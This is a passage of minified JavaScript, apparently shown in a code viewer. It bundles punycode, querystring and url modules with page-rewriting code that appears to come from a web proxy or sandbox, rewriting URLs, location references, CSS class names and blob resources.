| d.prototype.ve = function() { | |
| for (var a = 0, c = 0, b, d; 32 > c && this.Ma < this.ra.length; ) { | |
| b = | |
| this.ra[this.Ma]; | |
| this.Ma += 1; | |
| d = b & 127; | |
| if (d << c >>> c !== d) | |
| break; | |
| a |= d << c; | |
| if (128 > b) | |
| return a; | |
| c += 7 | |
| } | |
| return -1 | |
| } | |
| ; | |
| d.prototype.Jb = function(a) { | |
| for (var c = this.ra, b = c.length, d = this.Ma, f = 0, l, t, u; d < c.length; ) { | |
| l = c[d]; | |
| d += 1; | |
| if (0 === (l & 3)) { | |
| t = (l >>> 2) + 1; | |
| if (60 < t) { | |
| if (d + 3 >= b) | |
| return !1; | |
| l = t - 60; | |
| t = c[d] + (c[d + 1] << 8) + (c[d + 2] << 16) + (c[d + 3] << 24); | |
| t = (t & e[l]) + 1; | |
| d += l | |
| } | |
| if (d + t > b) | |
| return !1; | |
| var q = c | |
| , v = d | |
| , r = a | |
| , B = f | |
| , E = t; | |
| for (l = 0; l < E; l++) | |
| r[B + l] = q[v + l]; | |
| d += t | |
| } else { | |
| switch (l & 3) { | |
| case 1: | |
| t = (l >>> 2 & 7) + 4; | |
| u = c[d] + (l >>> 5 << 8); | |
| d += 1; | |
| break; | |
| case 2: | |
| if (d + 1 >= b) | |
| return !1; | |
| t = (l >>> | |
| 2) + 1; | |
| u = c[d] + (c[d + 1] << 8); | |
| d += 2; | |
| break; | |
| case 3: | |
| if (d + 3 >= b) | |
| return !1; | |
| t = (l >>> 2) + 1; | |
| u = c[d] + (c[d + 1] << 8) + (c[d + 2] << 16) + (c[d + 3] << 24); | |
| d += 4 | |
| } | |
| if (0 === u || u > f) | |
| return !1; | |
| q = a; | |
| v = f; | |
| r = u; | |
| B = t; | |
| for (l = 0; l < B; l++) | |
| q[v + l] = q[v - r + l] | |
| } | |
| f += t | |
| } | |
| return !0 | |
| } | |
| ; | |
| b.ad = d | |
| } | |
| , {}] | |
| }, {}, [1]); | |
| var M, Ba, O; | |
| (function Ca(c, b, d) { | |
| function e(g, h) { | |
| if (!b[g]) { | |
| if (!c[g]) { | |
| var k = "function" == typeof require && require; | |
| if (!h && k) | |
| return k(g, !0); | |
| if (f) | |
| return f(g, !0); | |
| k = Error("Cannot find module '" + g + "'"); | |
| throw k.code = "MODULE_NOT_FOUND", | |
| k; | |
| } | |
| k = b[g] = { | |
| T: {} | |
| }; | |
| c[g][0].call(k.T, function(b) { | |
| var d = c[g][1][b]; | |
| return e(d ? d : b) | |
| }, k, k.T, Ca, c, b, d) | |
| } | |
| return b[g].T | |
| } | |
| for (var f = "function" == typeof require && require, g = 0; g < d.length; g++) | |
| e(d[g]); | |
| return e | |
| })({ | |
| 1: [function(a, c, b) { | |
| (function(a) { | |
| (function(d) { | |
| function e(a) { | |
| throw new RangeError(w[a]); | |
| } | |
| function g(a, | |
| c) { | |
| for (var b = a.length, d = []; b--; ) | |
| d[b] = c(a[b]); | |
| return d | |
| } | |
| function k(a, c) { | |
| var b = a.split("@") | |
| , d = ""; | |
| 1 < b.length && (d = b[0] + "@", | |
| a = b[1]); | |
| a = a.replace(H, "."); | |
| b = g(a.split("."), c).join("."); | |
| return d + b | |
| } | |
| function h(a) { | |
| for (var c = [], b = 0, d = a.length, e, f; b < d; ) | |
| e = a.charCodeAt(b++), | |
| 55296 <= e && 56319 >= e && b < d ? (f = a.charCodeAt(b++), | |
| 56320 == (f & 64512) ? c.push(((e & 1023) << 10) + (f & 1023) + 65536) : (c.push(e), | |
| b--)) : c.push(e); | |
| return c | |
| } | |
| function p(a) { | |
| return g(a, function(a) { | |
| var c = ""; | |
| 65535 < a && (a -= 65536, | |
| c += y(a >>> 10 & 1023 | 55296), | |
| a = 56320 | a & 1023); | |
| return c += | |
| y(a) | |
| }).join("") | |
| } | |
| function l(a, c, b) { | |
| var d = 0; | |
| a = b ? A(a / 700) : a >> 1; | |
| for (a += A(a / c); 455 < a; d += 36) | |
| a = A(a / 35); | |
| return A(d + 36 * a / (a + 38)) | |
| } | |
| function t(a) { | |
| var c = [], b = a.length, d = 0, f = 128, g = 72, q, k; | |
| var w = a.lastIndexOf("-"); | |
| 0 > w && (w = 0); | |
| for (q = 0; q < w; ++q) | |
| 128 <= a.charCodeAt(q) && e("not-basic"), | |
| c.push(a.charCodeAt(q)); | |
| for (w = 0 < w ? w + 1 : 0; w < b; ) { | |
| q = d; | |
| var h = 1; | |
| for (k = 36; ; k += 36) { | |
| w >= b && e("invalid-input"); | |
| var y = a.charCodeAt(w++); | |
| y = 10 > y - 48 ? y - 22 : 26 > y - 65 ? y - 65 : 26 > y - 97 ? y - 97 : 36; | |
| (36 <= y || y > A((2147483647 - d) / h)) && e("overflow"); | |
| d += y * h; | |
| var r = k <= g ? 1 : k >= g + | |
| 26 ? 26 : k - g; | |
| if (y < r) | |
| break; | |
| y = 36 - r; | |
| h > A(2147483647 / y) && e("overflow"); | |
| h *= y | |
| } | |
| h = c.length + 1; | |
| g = l(d - q, h, 0 == q); | |
| A(d / h) > 2147483647 - f && e("overflow"); | |
| f += A(d / h); | |
| d %= h; | |
| c.splice(d++, 0, f) | |
| } | |
| return p(c) | |
| } | |
| function u(a) { | |
| var c, b, d, f = []; | |
| a = h(a); | |
| var g = a.length; | |
| var q = 128; | |
| var w = 0; | |
| var k = 72; | |
| for (d = 0; d < g; ++d) { | |
| var r = a[d]; | |
| 128 > r && f.push(y(r)) | |
| } | |
| for ((c = b = f.length) && f.push("-"); c < g; ) { | |
| var p = 2147483647; | |
| for (d = 0; d < g; ++d) | |
| r = a[d], | |
| r >= q && r < p && (p = r); | |
| var u = c + 1; | |
| p - q > A((2147483647 - w) / u) && e("overflow"); | |
| w += (p - q) * u; | |
| q = p; | |
| for (d = 0; d < g; ++d) | |
| if (r = a[d], | |
| r < q && 2147483647 < | |
| ++w && e("overflow"), | |
| r == q) { | |
| var v = w; | |
| for (p = 36; ; p += 36) { | |
| r = p <= k ? 1 : p >= k + 26 ? 26 : p - k; | |
| if (v < r) | |
| break; | |
| var t = v - r; | |
| v = 36 - r; | |
| r += t % v; | |
| f.push(y(r + 22 + 75 * (26 > r) - 0)); | |
| v = A(t / v) | |
| } | |
| f.push(y(v + 22 + 75 * (26 > v) - 0)); | |
| k = l(w, u, c == b); | |
| w = 0; | |
| ++c | |
| } | |
| ++w; | |
| ++q | |
| } | |
| return f.join("") | |
| } | |
| var q = "object" == typeof b && b && !b.nodeType && b | |
| , v = "object" == typeof c && c && !c.nodeType && c | |
| , r = "object" == typeof a && a; | |
| if (r.global === r || r.window === r || r.self === r) | |
| d = r; | |
| var B = /^xn--/, E = /[^\x20-\x7E]/, H = /[\x2E\u3002\uFF0E\uFF61]/g, w = { | |
| overflow: "Overflow: input needs wider integers to process", | |
| "not-basic": "Illegal input >= 0x80 (not a basic code point)", | |
| "invalid-input": "Invalid input" | |
| }, A = Math.floor, y = String.fromCharCode, C; | |
| var D = { | |
| version: "1.4.1", | |
| ucs2: { | |
| decode: h, | |
| encode: p | |
| }, | |
| decode: t, | |
| encode: u, | |
| toASCII: function(a) { | |
| return k(a, function(a) { | |
| return E.test(a) ? "xn--" + u(a) : a | |
| }) | |
| }, | |
| toUnicode: function(a) { | |
| return k(a, function(a) { | |
| return B.test(a) ? t(a.slice(4).toLowerCase()) : a | |
| }) | |
| } | |
| }; | |
| if ("function" == typeof define && "object" == typeof define.qd && define.qd) | |
| define("punycode", function() { | |
| return D | |
| }); | |
| else if (q && v) | |
| if (c.T == q) | |
| v.T = | |
| D; | |
| else | |
| for (C in D) | |
| D.hasOwnProperty(C) && (q[C] = D[C]); | |
| else | |
| d.ef = D | |
| })(this) | |
| } | |
| ).call(this, "undefined" !== typeof global ? global : "undefined" !== typeof self ? self : "undefined" !== typeof window ? window : {}) | |
| } | |
| , {}], | |
| 2: [function(a, c) { | |
| c.T = function(a, c, f, g) { | |
| f = f || "="; | |
| var d = {}; | |
| if ("string" !== typeof a || 0 === a.length) | |
| return d; | |
| var e = /\+/g; | |
| a = a.split(c || "&"); | |
| c = 1E3; | |
| g && "number" === typeof g.je && (c = g.je); | |
| g = a.length; | |
| 0 < c && g > c && (g = c); | |
| for (c = 0; c < g; ++c) { | |
| var p = a[c].replace(e, "%20") | |
| , l = p.indexOf(f); | |
| if (0 <= l) { | |
| var t = p.substr(0, l); | |
| p = p.substr(l + 1) | |
| } else | |
| t = | |
| p, | |
| p = ""; | |
| t = decodeURIComponent(t); | |
| p = decodeURIComponent(p); | |
| Object.prototype.hasOwnProperty.call(d, t) ? b(d[t]) ? d[t].push(p) : d[t] = [d[t], p] : d[t] = p | |
| } | |
| return d | |
| } | |
| ; | |
| var b = Array.isArray || function(a) { | |
| return "[object Array]" === Object.prototype.toString.call(a) | |
| } | |
| } | |
| , {}], | |
| 3: [function(a, c) { | |
| function b(a) { | |
| switch (typeof a) { | |
| case "string": | |
| return a; | |
| case "boolean": | |
| return a ? "true" : "false"; | |
| case "number": | |
| return isFinite(a) ? a : ""; | |
| default: | |
| return "" | |
| } | |
| } | |
| function d(a, c) { | |
| if (a.map) | |
| return a.map(c); | |
| for (var b = [], d = 0; d < a.length; d++) | |
| b.push(c(a[d], d)); | |
| return b | |
| } | |
| c.T = function(a, c, h, p) { | |
| c = c || "&"; | |
| h = h || "="; | |
| null === a && (a = void 0); | |
| return "object" === typeof a ? d(f(a), function(f) { | |
| var g = encodeURIComponent(b(f)) + h; | |
| return e(a[f]) ? d(a[f], function(a) { | |
| return g + encodeURIComponent(b(a)) | |
| }).join(c) : g + encodeURIComponent(b(a[f])) | |
| }).join(c) : p ? encodeURIComponent(b(p)) + h + encodeURIComponent(b(a)) : "" | |
| } | |
| ; | |
| var e = Array.isArray || function(a) { | |
| return "[object Array]" === Object.prototype.toString.call(a) | |
| } | |
| , f = Object.keys || function(a) { | |
| var c = [], b; | |
| for (b in a) | |
| Object.prototype.hasOwnProperty.call(a, | |
| b) && c.push(b); | |
| return c | |
| } | |
| } | |
| , {}], | |
| 4: [function(a, c, b) { | |
| b.decode = b.parse = a("./decode"); | |
| b.encode = b.stringify = a("./encode") | |
| } | |
| , { | |
| "./decode": 2, | |
| "./encode": 3 | |
| }], | |
| 5: [function(a, c, b) { | |
| function d() { | |
| this.href = this.path = this.pathname = this.query = this.search = this.hash = this.hostname = this.port = this.host = this.$ = this.ca = this.protocol = null | |
| } | |
| function e(a, c, b) { | |
| if (a && g.xc(a) && a instanceof d) | |
| return a; | |
| var e = new d; | |
| e.parse(a, c, b); | |
| return e | |
| } | |
| var f = a("punycode") | |
| , g = a("./util"); | |
| b.parse = e; | |
| b.resolve = function(a, c) { | |
| return e(a, !1, !0).resolve(c) | |
| } | |
| ; | |
| b.Eb = function(a, c) { | |
| return a ? e(a, !1, !0).Eb(c) : c | |
| } | |
| ; | |
| b.format = function(a) { | |
| g.wb(a) && (a = e(a)); | |
| return a instanceof d ? a.format() : d.prototype.format.call(a) | |
| } | |
| ; | |
| b.We = d; | |
| var k = /^([a-z0-9.+-]+:)/i | |
| , h = /:[0-9]*$/ | |
| , p = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/ | |
| , l = ["'"].concat("{}|\\^`".split("").concat('<>"` \r\n\t'.split(""))) | |
| , t = ["%", "/", "?", ";", "#"].concat(l) | |
| , u = ["/", "?", "#"] | |
| , q = /^[+a-z0-9A-Z_-]{0,63}$/ | |
| , v = /^([+a-z0-9A-Z_-]{0,63})(.*)$/ | |
| , r = { | |
| javascript: !0, | |
| "javascript:": !0 | |
| } | |
| , B = { | |
| javascript: !0, | |
| "javascript:": !0 | |
| } | |
| , E = { | |
| http: !0, | |
| https: !0, | |
| ftp: !0, | |
| gopher: !0, | |
| file: !0, | |
| "http:": !0, | |
| "https:": !0, | |
| "ftp:": !0, | |
| "gopher:": !0, | |
| "file:": !0 | |
| } | |
| , H = a("querystring"); | |
| d.prototype.parse = function(a, c, b) { | |
| var d, e; | |
| if (!g.wb(a)) | |
| throw new TypeError("Parameter 'url' must be a string, not " + typeof a); | |
| var h = a.indexOf("?") | |
| , h = -1 !== h && h < a.indexOf("#") ? "?" : "#"; | |
| a = a.split(h); | |
| a[0] = a[0].replace(/\\/g, "/"); | |
| a = a.join(h); | |
| h = a.trim(); | |
| if (!b && 1 === a.split("#").length && (a = p.exec(h))) | |
| return this.href = this.path = h, | |
| this.pathname = a[1], | |
| a[2] ? (this.search = a[2], | |
| this.query = c ? H.parse(this.search.substr(1)) : | |
| this.search.substr(1)) : c && (this.search = "", | |
| this.query = {}), | |
| this; | |
| if (a = k.exec(h)) | |
| a = a[0], | |
| this.protocol = e = a.toLowerCase(), | |
| h = h.substr(a.length); | |
| if (b || a || h.match(/^\/\/[^@\/]+@[^@\/]+/)) | |
| !(d = "//" === h.substr(0, 2)) || a && B[a] || (h = h.substr(2), | |
| this.ca = !0); | |
| if (!B[a] && (d || a && !E[a])) { | |
| a = -1; | |
| for (b = 0; b < u.length; b++) | |
| d = h.indexOf(u[b]), | |
| -1 !== d && (-1 === a || d < a) && (a = d); | |
| d = -1 === a ? h.lastIndexOf("@") : h.lastIndexOf("@", a); | |
| -1 !== d && (b = h.slice(0, d), | |
| h = h.slice(d + 1), | |
| this.$ = decodeURIComponent(b)); | |
| a = -1; | |
| for (b = 0; b < t.length; b++) | |
| d = h.indexOf(t[b]), | |
| -1 !== d && (-1 === a || d < a) && (a = d); | |
| -1 === a && (a = h.length); | |
| this.host = h.slice(0, a); | |
| h = h.slice(a); | |
| this.qe(); | |
| this.hostname = this.hostname || ""; | |
| d = "[" === this.hostname[0] && "]" === this.hostname[this.hostname.length - 1]; | |
| if (!d) { | |
| var w = this.hostname.split(/\./); | |
| b = 0; | |
| for (a = w.length; b < a; b++) { | |
| var y = w[b]; | |
| if (y && !y.match(q)) { | |
| for (var A = "", P = 0, T = y.length; P < T; P++) | |
| A = 127 < y.charCodeAt(P) ? A + "x" : A + y[P]; | |
| if (!A.match(q)) { | |
| a = w.slice(0, b); | |
| b = w.slice(b + 1); | |
| if (y = y.match(v)) | |
| a.push(y[1]), | |
| b.unshift(y[2]); | |
| b.length && (h = "/" + b.join(".") + h); | |
| this.hostname = | |
| a.join("."); | |
| break | |
| } | |
| } | |
| } | |
| } | |
| this.hostname = 255 < this.hostname.length ? "" : this.hostname.toLowerCase(); | |
| d || (this.hostname = f.toASCII(this.hostname)); | |
| b = this.port ? ":" + this.port : ""; | |
| this.host = (this.hostname || "") + b; | |
| this.href += this.host; | |
| d && (this.hostname = this.hostname.substr(1, this.hostname.length - 2), | |
| "/" !== h[0] && (h = "/" + h)) | |
| } | |
| if (!r[e]) | |
| for (b = 0, | |
| a = l.length; b < a; b++) | |
| d = l[b], | |
| -1 !== h.indexOf(d) && (y = encodeURIComponent(d), | |
| y === d && (y = escape(d)), | |
| h = h.split(d).join(y)); | |
| b = h.indexOf("#"); | |
| -1 !== b && (this.hash = h.substr(b), | |
| h = h.slice(0, b)); | |
| b = | |
| h.indexOf("?"); | |
| -1 !== b ? (this.search = h.substr(b), | |
| this.query = h.substr(b + 1), | |
| c && (this.query = H.parse(this.query)), | |
| h = h.slice(0, b)) : c && (this.search = "", | |
| this.query = {}); | |
| h && (this.pathname = h); | |
| E[e] && this.hostname && !this.pathname && (this.pathname = "/"); | |
| if (this.pathname || this.search) | |
| b = this.pathname || "", | |
| this.path = b + (this.search || ""); | |
| this.href = this.format(); | |
| return this | |
| } | |
| ; | |
| d.prototype.format = function() { | |
| var a = this.$ || ""; | |
| a && (a = encodeURIComponent(a), | |
| a = a.replace(/%3A/i, ":"), | |
| a += "@"); | |
| var c = this.protocol || "" | |
| , b = this.pathname || | |
| "" | |
| , d = this.hash || "" | |
| , e = !1 | |
| , f = ""; | |
| this.host ? e = a + this.host : this.hostname && (e = a + (-1 === this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"), | |
| this.port && (e += ":" + this.port)); | |
| this.query && g.xc(this.query) && Object.keys(this.query).length && (f = H.stringify(this.query)); | |
| a = this.search || f && "?" + f || ""; | |
| c && ":" !== c.substr(-1) && (c += ":"); | |
| this.ca || (!c || E[c]) && !1 !== e ? (e = "//" + (e || ""), | |
| b && "/" !== b.charAt(0) && (b = "/" + b)) : e || (e = ""); | |
| d && "#" !== d.charAt(0) && (d = "#" + d); | |
| a && "?" !== a.charAt(0) && (a = "?" + a); | |
| b = b.replace(/[?#]/g, function(a) { | |
| return encodeURIComponent(a) | |
| }); | |
| a = a.replace("#", "%23"); | |
| return c + e + b + a + d | |
| } | |
| ; | |
| d.prototype.resolve = function(a) { | |
| return this.Eb(e(a, !1, !0)).format() | |
| } | |
| ; | |
| d.prototype.Eb = function(a) { | |
| var c; | |
| if (g.wb(a)) { | |
| var b = new d; | |
| b.parse(a, !1, !0); | |
| a = b | |
| } | |
| for (var b = new d, e = Object.keys(this), f = 0; f < e.length; f++) { | |
| var q = e[f]; | |
| b[q] = this[q] | |
| } | |
| b.hash = a.hash; | |
| if ("" === a.href) | |
| return b.href = b.format(), | |
| b; | |
| if (a.ca && !a.protocol) { | |
| e = Object.keys(a); | |
| for (f = 0; f < e.length; f++) | |
| q = e[f], | |
| "protocol" !== q && (b[q] = a[q]); | |
| E[b.protocol] && b.hostname && !b.pathname && (b.path = b.pathname = "/"); | |
| b.href = b.format(); | |
| return b | |
| } | |
| if (a.protocol && a.protocol !== b.protocol) { | |
| if (!E[a.protocol]) { | |
| e = Object.keys(a); | |
| for (f = 0; f < e.length; f++) | |
| q = e[f], | |
| b[q] = a[q]; | |
| b.href = b.format(); | |
| return b | |
| } | |
| b.protocol = a.protocol; | |
| if (a.host || B[a.protocol]) | |
| b.pathname = a.pathname; | |
| else { | |
| for (c = (a.pathname || "").split("/"); c.length && !(a.host = c.shift()); ) | |
| ; | |
| a.host || (a.host = ""); | |
| a.hostname || (a.hostname = ""); | |
| "" !== c[0] && c.unshift(""); | |
| 2 > c.length && c.unshift(""); | |
| b.pathname = c.join("/") | |
| } | |
| b.search = a.search; | |
| b.query = a.query; | |
| b.host = a.host || ""; | |
| b.$ = a.$; | |
| b.hostname = a.hostname || a.host; | |
| b.port = a.port; | |
| if (b.pathname || b.search) | |
| b.path = (b.pathname || "") + (b.search || ""); | |
| b.ca = b.ca || a.ca; | |
| b.href = b.format(); | |
| return b | |
| } | |
| var e = b.pathname && "/" === b.pathname.charAt(0) | |
| , h = a.host || a.pathname && "/" === a.pathname.charAt(0) | |
| , k = e = h || e || b.host && a.pathname | |
| , f = b.pathname && b.pathname.split("/") || []; | |
| c = a.pathname && a.pathname.split("/") || []; | |
| if (q = b.protocol && !E[b.protocol]) | |
| b.hostname = "", | |
| b.port = null , | |
| b.host && ("" === f[0] ? f[0] = b.host : f.unshift(b.host)), | |
| b.host = "", | |
| a.protocol && (a.hostname = null , | |
| a.port = null , | |
| a.host && ("" === c[0] ? | |
| c[0] = a.host : c.unshift(a.host)), | |
| a.host = null ), | |
| e = e && ("" === c[0] || "" === f[0]); | |
| if (h) | |
| b.host = a.host || "" === a.host ? a.host : b.host, | |
| b.hostname = a.hostname || "" === a.hostname ? a.hostname : b.hostname, | |
| b.search = a.search, | |
| b.query = a.query, | |
| f = c; | |
| else if (c.length) | |
| f || (f = []), | |
| f.pop(), | |
| f = f.concat(c), | |
| b.search = a.search, | |
| b.query = a.query; | |
| else if (!g.fe(a.search)) | |
| return q && (b.hostname = b.host = f.shift(), | |
| q = b.host && 0 < b.host.indexOf("@") ? b.host.split("@") : !1) && (b.$ = q.shift(), | |
| b.host = b.hostname = q.shift()), | |
| b.search = a.search, | |
| b.query = a.query, | |
| g.Xa(b.pathname) && | |
| g.Xa(b.search) || (b.path = (b.pathname ? b.pathname : "") + (b.search ? b.search : "")), | |
| b.href = b.format(), | |
| b; | |
| if (!f.length) | |
| return b.pathname = null , | |
| b.path = b.search ? "/" + b.search : null , | |
| b.href = b.format(), | |
| b; | |
| h = f.slice(-1)[0]; | |
| c = (b.host || a.host || 1 < f.length) && ("." === h || ".." === h) || "" === h; | |
| for (var r = 0, l = f.length; 0 <= l; l--) | |
| h = f[l], | |
| "." === h ? f.splice(l, 1) : ".." === h ? (f.splice(l, 1), | |
| r++) : r && (f.splice(l, 1), | |
| r--); | |
| if (!e && !k) | |
| for (; r--; r) | |
| f.unshift(".."); | |
| !e || "" === f[0] || f[0] && "/" === f[0].charAt(0) || f.unshift(""); | |
| c && "/" !== f.join("/").substr(-1) && | |
| f.push(""); | |
| k = "" === f[0] || f[0] && "/" === f[0].charAt(0); | |
| q && (b.hostname = b.host = k ? "" : f.length ? f.shift() : "", | |
| q = b.host && 0 < b.host.indexOf("@") ? b.host.split("@") : !1) && (b.$ = q.shift(), | |
| b.host = b.hostname = q.shift()); | |
| (e = e || b.host && f.length) && !k && f.unshift(""); | |
| f.length ? b.pathname = f.join("/") : (b.pathname = null , | |
| b.path = null ); | |
| g.Xa(b.pathname) && g.Xa(b.search) || (b.path = (b.pathname ? b.pathname : "") + (b.search ? b.search : "")); | |
| b.$ = a.$ || b.$; | |
| b.ca = b.ca || a.ca; | |
| b.href = b.format(); | |
| return b | |
| } | |
| ; | |
| d.prototype.qe = function() { | |
| var a = this.host | |
| , b = h.exec(a); | |
| b && (b = b[0], | |
| ":" !== b && (this.port = b.substr(1)), | |
| a = a.substr(0, a.length - b.length)); | |
| a && (this.hostname = a) | |
| } | |
| } | |
| , { | |
| "./util": 6, | |
| punycode: 1, | |
| querystring: 4 | |
| }], | |
| 6: [function(a, c) { | |
| c.T = { | |
| wb: function(a) { | |
| return "string" === typeof a | |
| }, | |
| xc: function(a) { | |
| return "object" === typeof a && null !== a | |
| }, | |
| Xa: function(a) { | |
| return null === a | |
| }, | |
| fe: function(a) { | |
| return null == a | |
| } | |
| } | |
| } | |
| , {}], | |
| 7: [function(a) { | |
| M = a("url"); | |
| Ba = { | |
| encode: function(a) { | |
| a = new Uint8Array(a); | |
| for (var b = "", c = 0; c < a.length; c++) | |
| b += String.fromCharCode(a[c]); | |
| return btoa(b) | |
| }, | |
| decode: function(a) { | |
| a = atob(a); | |
| for (var b = | |
| new Uint8Array(a.length), c = 0; c < a.length; c++) | |
| b[c] = a.charCodeAt(c); | |
| return b.buffer | |
| } | |
| }; | |
| O = { | |
| encode: function(a) { | |
| if (TextEncoder) | |
| return (new TextEncoder("utf-8")).encode(a).buffer; | |
| a = unescape(encodeURIComponent(a)); | |
| for (var b = new Uint8Array(a.length), c = 0; c < a.length; c++) | |
| b[c] = a.charCodeAt(c); | |
| return b.buffer | |
| }, | |
| decode: function(a) { | |
| return TextDecoder ? (new TextDecoder("utf-8")).decode(a) : decodeURIComponent(escape(String.fromCharCode.apply(null , new Uint8Array(a)))) | |
| } | |
| } | |
| } | |
| , { | |
| url: 5 | |
| }] | |
| }, {}, [7]); | |
| var Da = { | |
| A: { | |
| href: !0 | |
| }, | |
| APPLET: { | |
| codebase: !0 | |
| }, | |
| AREA: { | |
| href: !0 | |
| }, | |
| BLOCKQUOTE: { | |
| cite: !0 | |
| }, | |
| BODY: { | |
| background: !0 | |
| }, | |
| DEL: { | |
| cite: !0 | |
| }, | |
| FORM: { | |
| action: !0 | |
| }, | |
| FRAME: { | |
| src: !0, | |
| longdesc: !0 | |
| }, | |
| HEAD: { | |
| profile: !0 | |
| }, | |
| IFRAME: { | |
| src: !0, | |
| longdesc: !0 | |
| }, | |
| IMG: { | |
| longdesc: !0, | |
| src: !0, | |
| usemap: !0 | |
| }, | |
| INPUT: { | |
| src: !0, | |
| usemap: !0, | |
| formaction: !0 | |
| }, | |
| INS: { | |
| cite: !0 | |
| }, | |
| LINK: { | |
| href: !0 | |
| }, | |
| OBJECT: { | |
| classid: !0, | |
| codebase: !0, | |
| data: !0, | |
| usemap: !0 | |
| }, | |
| Q: { | |
| cite: !0 | |
| }, | |
| SCRIPT: { | |
| src: !0 | |
| }, | |
| AUDIO: { | |
| src: !0 | |
| }, | |
| BUTTON: { | |
| formaction: !0, | |
| src: !0 | |
| }, | |
| COMMAND: { | |
| icon: !0 | |
| }, | |
| EMBED: { | |
| src: !0 | |
| }, | |
| HTML: { | |
| manifest: !0 | |
| }, | |
| SOURCE: { | |
| src: !0 | |
| }, | |
| VIDEO: { | |
| poster: !0, | |
| src: !0 | |
| } | |
| } | |
| , Ea = ["text/javascript", "application/javascript", "text/ecmascript", "application/ecmascript", "application/x-javascript"]; | |
| function Fa(a) { | |
| var c = !1; | |
| Ea.forEach(function(b) { | |
| 0 <= a.toLowerCase().indexOf(b) && (c = !0) | |
| }); | |
| return c | |
| } | |
| function Ga(a) { | |
| a = a.replace(/\.location\b/g, ".__loc"); | |
| a = a.replace(/\blocation\./g, "__loc."); | |
| a = a.replace(/"location"/g, '"__loc"'); | |
| a = a.replace(/'location'/g, "'__loc'"); | |
| a = a.replace(/\btop\.__loc\b/g, "top.location"); | |
| [".postMessage(", '["postMessage"](', "['postMessage']("].forEach(function(c) { | |
| for (var b = 0; ; ) { | |
| b = a.indexOf(c, b); | |
| if (0 > b) | |
| break; | |
| for (var b = b + c.length, d = 1; b < a.length; ) { | |
| if ("(" == a[b]) | |
| d += 1; | |
| else if (")" == a[b] && (--d, | |
| 0 >= d)) | |
| break; | |
| b += 1 | |
| } | |
| if (b >= a.length) | |
| break; | |
| a = a.substr(0, b) + ",undefined,undefined,undefined,window" + | |
| a.substr(b); | |
| b += 38 | |
| } | |
| }); | |
| return a | |
| } | |
| function Ha(a) { | |
| for (var c = "", b = 0; b < a; b++) | |
| c += "abcdefghijklmnopqrstuvwxyz".charAt(Math.floor(26 * Math.random())); | |
| return c | |
| } | |
| var Ia = Ha(2); | |
| function Ja(a) { | |
| if (void 0 === a || null == a || a.substr(0, Ia.length) === Ia) | |
| return a; | |
| for (var c = Ia, b = 0; b < a.length; b++) | |
| var d = (a.charCodeAt(b) & 255).toString(16) | |
| , c = c + ("00" + d).substr(d.length); | |
| return c | |
| } | |
| function Ka(a) { | |
| if (void 0 === a || null == a || a.substr(0, Ia.length) !== Ia) | |
| return a; | |
| a = a.substr(Ia.length); | |
| for (var c = "", b = 0; b < a.length; b += 2) | |
| c += String.fromCharCode(parseInt(a.substr(b, 2), 16)); | |
| return c | |
| } | |
| function La(a) { | |
| if (void 0 === a || null == a) | |
| return a; | |
| var c = []; | |
| a = a.match(/\S+/g) || []; | |
| for (var b = 0; b < a.length; b++) | |
| c.push(Ja(a[b])); | |
| return c.join(" ") | |
| } | |
| function Ma(a) { | |
| if (void 0 === a || null == a) | |
| return a; | |
| var c = []; | |
| a = a.match(/\S+/g) || []; | |
| for (var b = 0; b < a.length; b++) | |
| c.push(Ka(a[b])); | |
| return c.join(" ") | |
| } | |
| function Na(a) { | |
| return a.replace(/[\.\#]-?[_a-zA-Z]+[_a-zA-Z0-9-]*/g, function(a) { | |
| return a[0] + Ja(a.substr(1)) | |
| }) | |
| } | |
| function Oa(a) { | |
| a = a.replace(/^\s*@import .*/g, ""); | |
| return a = a.replace(/url\(\s*.*?\s*\)/g, function(a) { | |
| var b = a.match(/url\(\s*"(.*?)"\s*\)/); | |
| a = b && 2 == b.length && 0 < b[1].length ? b[1].replace(/\\"/g, '"') : (b = a.match(/url\(\s*'(.*?)'\s*\)/)) && 2 == b.length && 0 < b[1].length ? b[1].replace(/\\'/g, "'") : (b = a.match(/url\(\s*(.*?)\s*\)/)) && 2 == b.length && 0 < b[1].length ? b[1].replace(/\\\(/g, "(").replace(/\\\)/g, ")") : ""; | |
| return "url(data:,539" + encodeURIComponent(a) + ")" | |
| }) | |
| } | |
| function Q(a) { | |
| a = Oa(a); | |
| return a = a.replace(/[\.\#]-?[_a-zA-Z]+[_a-zA-Z0-9-]*(?=[^}]*\{)/g, function(a) { | |
| return a[0] + Ja(a.substr(1)) | |
| }) | |
| } | |
| function Pa(a) { | |
| for (var c = {}, b = /url\("data:,539(.*?)"\)/g, d; null !== (d = b.exec(a)); ) | |
| c[d[0]] = decodeURIComponent(d[1]); | |
| return c | |
| } | |
| var Qa, Ra, Sa; | |
| (function() { | |
| Qa = !0; | |
| var a = Ha(8); | |
| window[a] = !1; | |
| var c = document.createElement("script") | |
| , b = URL.createObjectURL(new Blob(["window['" + a + "'] = true;"],{ | |
| type: "application/javascript" | |
| })); | |
| c.src = b; | |
| c.onload = function() { | |
| document.head.removeChild(c); | |
| Qa = !window[a]; | |
| delete window[a] | |
| } | |
| ; | |
| document.head.appendChild(c) | |
| })(); | |
| (function() { | |
| Ra = !0; | |
| blobData = "R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="; | |
| var a = new Blob([Ba.decode(blobData)],{ | |
| type: "image/gif" | |
| }) | |
| , a = URL.createObjectURL(a) | |
| , c = document.createElement("img"); | |
| c.onload = function() { | |
| Ra = !1 | |
| } | |
| ; | |
| c.src = a | |
| })(); | |
| (function() { | |
| Sa = !0; | |
| blobData = "//"; | |
| var a = URL.createObjectURL(new Blob([blobData],{ | |
| type: "text/css" | |
| })) | |
| , c = document.createElement("link"); | |
| c.rel = "stylesheet"; | |
| c.type = "text/css"; | |
| c.onload = function() { | |
| Sa = !1; | |
| document.head.removeChild(c) | |
| } | |
| ; | |
| c.onerror = function() { | |
| document.head.removeChild(c) | |
| } | |
| ; | |
| c.href = a; | |
| document.head.appendChild(c) | |
| })(); | |
| function Ta(a, c) { | |
| return "data:" + c.replace(" ", "") + ";base64," + Ba.encode(a) | |
| } | |
| var Ua = {}; | |
| function Va(a, c, b) { | |
| if (Qa && Fa(c) || Ra && c.match(/^\s*image\//) || Sa && c.match(/^\s*text\/css/)) | |
| return Ta(a, c); | |
| if (b && b in Ua) | |
| return Ua[b]; | |
